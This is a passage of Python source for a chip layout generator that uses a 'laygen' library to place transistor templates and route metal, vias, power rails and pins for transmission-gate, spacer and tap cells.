def create_io_pin(laygen, layer, gridname, pinname_list, rect_list, offset_y=np.array([-1, 1])):
"""create digital io pin"""
rect_xy_list = [laygen.get_xy(obj =r, gridname=gridname, sort=True) for r in rect_list]
#align pins
ry = rect_xy_list[0][:, 1] + offset_y.T
for i, xy_rect in enumerate(rect_xy_list):
xy_rect[:, 1]=ry
laygen.pin(name=pinname_list[i], layer=layer, xy=xy_rect, gridname=gridname)
def create_power_pin(laygen, layer, gridname, rect_vdd, rect_vss, pinname_vdd='VDD', pinname_vss='VSS'):
"""create power pin"""
rvdd_pin_xy = laygen.get_xy(obj = rect_vdd, gridname = gridname)
rvss_pin_xy = laygen.get_xy(obj = rect_vss, gridname = gridname)
laygen.pin(name=pinname_vdd, layer=layer, xy=rvdd_pin_xy, gridname=gridname)
laygen.pin(name=pinname_vss, layer=layer, xy=rvss_pin_xy, gridname=gridname)
def generate_tgate_dn(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in_space = laygen.place("I"+objectname_pfix+'NDMY', devname_nmos_space, pg, shape=np.array([2, 1]), xy=origin)
in0 = laygen.relplace(name = "I" + objectname_pfix + 'N0', templatename = devname_nmos_boundary, gridname = pg, refinstname = in_space.name)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix+'N3', templatename = devname_nmos_body, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix+'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in3.name)
ip_space = laygen.relplace(name = "I"+objectname_pfix+'PDMY', templatename = devname_pmos_space, gridname = pg, refinstname = in_space.name, direction='top', transform='MX', shape=np.array([2, 1]))
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip_space.name, transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = 'pmos4_fast_space', gridname = pg, refinstname = ip2.name, shape=np.array([3,1]), transform='MX')
# route
#to vss
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in3.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in3.name, refpinname1='S0', refinstindex1=np.array([0, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in3.name, gridname=rg_m1m2, refinstindex=np.array([0, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in3.name, refpinname0='S1', refinstindex0=np.array([0, 0]),
refinstname1=in3.name, refpinname1='S1', refinstindex1=np.array([0, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in3.name, gridname=rg_m1m2, refinstindex=np.array([1, 0]))
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-3, 0]), xy1=np.array([-3, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-3, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-2, 0]), xy1=np.array([-2, 2]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([-2, 0]), refinstname=ip1.name, refpinname='G0', gridname=rg_m2m3)
in3_g0_xy = laygen.get_inst_pin_xy(in3.name, 'G0', rg_m2m3)
ip1_g0_xy = laygen.get_inst_pin_xy(ip1.name, 'G0', rg_m2m3)
laygen.route_vh(layerv=laygen.layers['metal'][3], layerh=laygen.layers['metal'][2], xy0=in3_g0_xy[0], xy1=ip1_g0_xy[0], gridname0=rg_m2m3)
laygen.via(None, xy=in3_g0_xy[0], gridname=rg_m2m3)
in3_g0_xy = laygen.get_inst_pin_xy(in3.name, 'G0', rg_m1m2)
laygen.via(None, xy=in3_g0_xy[0], gridname=rg_m1m2)
#input
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([0, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([0, 0]), gridname=rg_m2m3)
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S0', refinstindex1=np.array([0, 0]))
#output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
#add for in3
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([m-1, 0]),
refinstname1=in3.name, refpinname1='D0', refinstindex1=np.array([0, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([m-1, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([m-1, 0]), gridname=rg_m2m3)
#add for in3
laygen.via(None, np.array([0, 1]), refinstname=in3.name, refpinname='D0', refinstindex=np.array([0, 0]), gridname=rg_m1m2)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
# power and groud rail
xy = laygen.get_xy(obj = ip3.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip_space.name, refinstname1=ip3.name, refinstindex1=np.array([2, 0]))
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in_space.name, refinstname1=in4.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['EN', 'ENB', 'I', 'O'], rect_list=[ren0, renb0, ri0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_space_1x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'pmos4_fast_space', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_space_2x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space_2x', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'pmos4_fast_space_2x', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_space_4x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space_nf4', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'pmos4_fast_space_nf4', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_space_wovdd_1x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'nmos4_fast_space', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS1"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_space_wovdd_2x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space_2x', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'nmos4_fast_space_2x', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS1"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_space_wovdd_4x(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', 'nmos4_fast_space_nf4', pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = 'nmos4_fast_space_nf4', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS1"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_tap(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, devname_pmos_tap, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tap_float(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, devname_pmos_tap, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name, via0=[0,0])
# power and groud rail
xy = laygen.get_template_xy(name = in0.cellname, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VDD0", gridname = rg_m1m2)
rvss_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VSS0", gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tap_float_pmos_vss(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, devname_pmos_tap, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][2], xy0=xy_tap1, xy1=xy_tap1-np.array([2,0]), gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name, via0=np.array([0,0]), via1=np.array([0,0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0])-np.array([2,0]), xy1=xy_tap1-np.array([2,0]), gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap1 * np.array([1, 0]) - np.array([2,0]), refinstname=in0.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_template_xy(name = in0.cellname, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VDD0", gridname = rg_m1m2)
rvss_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VSS0", gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tap_pmos_vss(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, devname_pmos_tap, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0])+[0,1], xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=in0.name)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0])+[0,1], xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=in0.name)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_template_xy(name = in0.cellname, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VDD0", gridname = rg_m1m2)
rvss_pin_xy = laygen.get_rect_xy(name = "R"+objectname_pfix+"VSS0", gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tap_wovdd(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_nmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
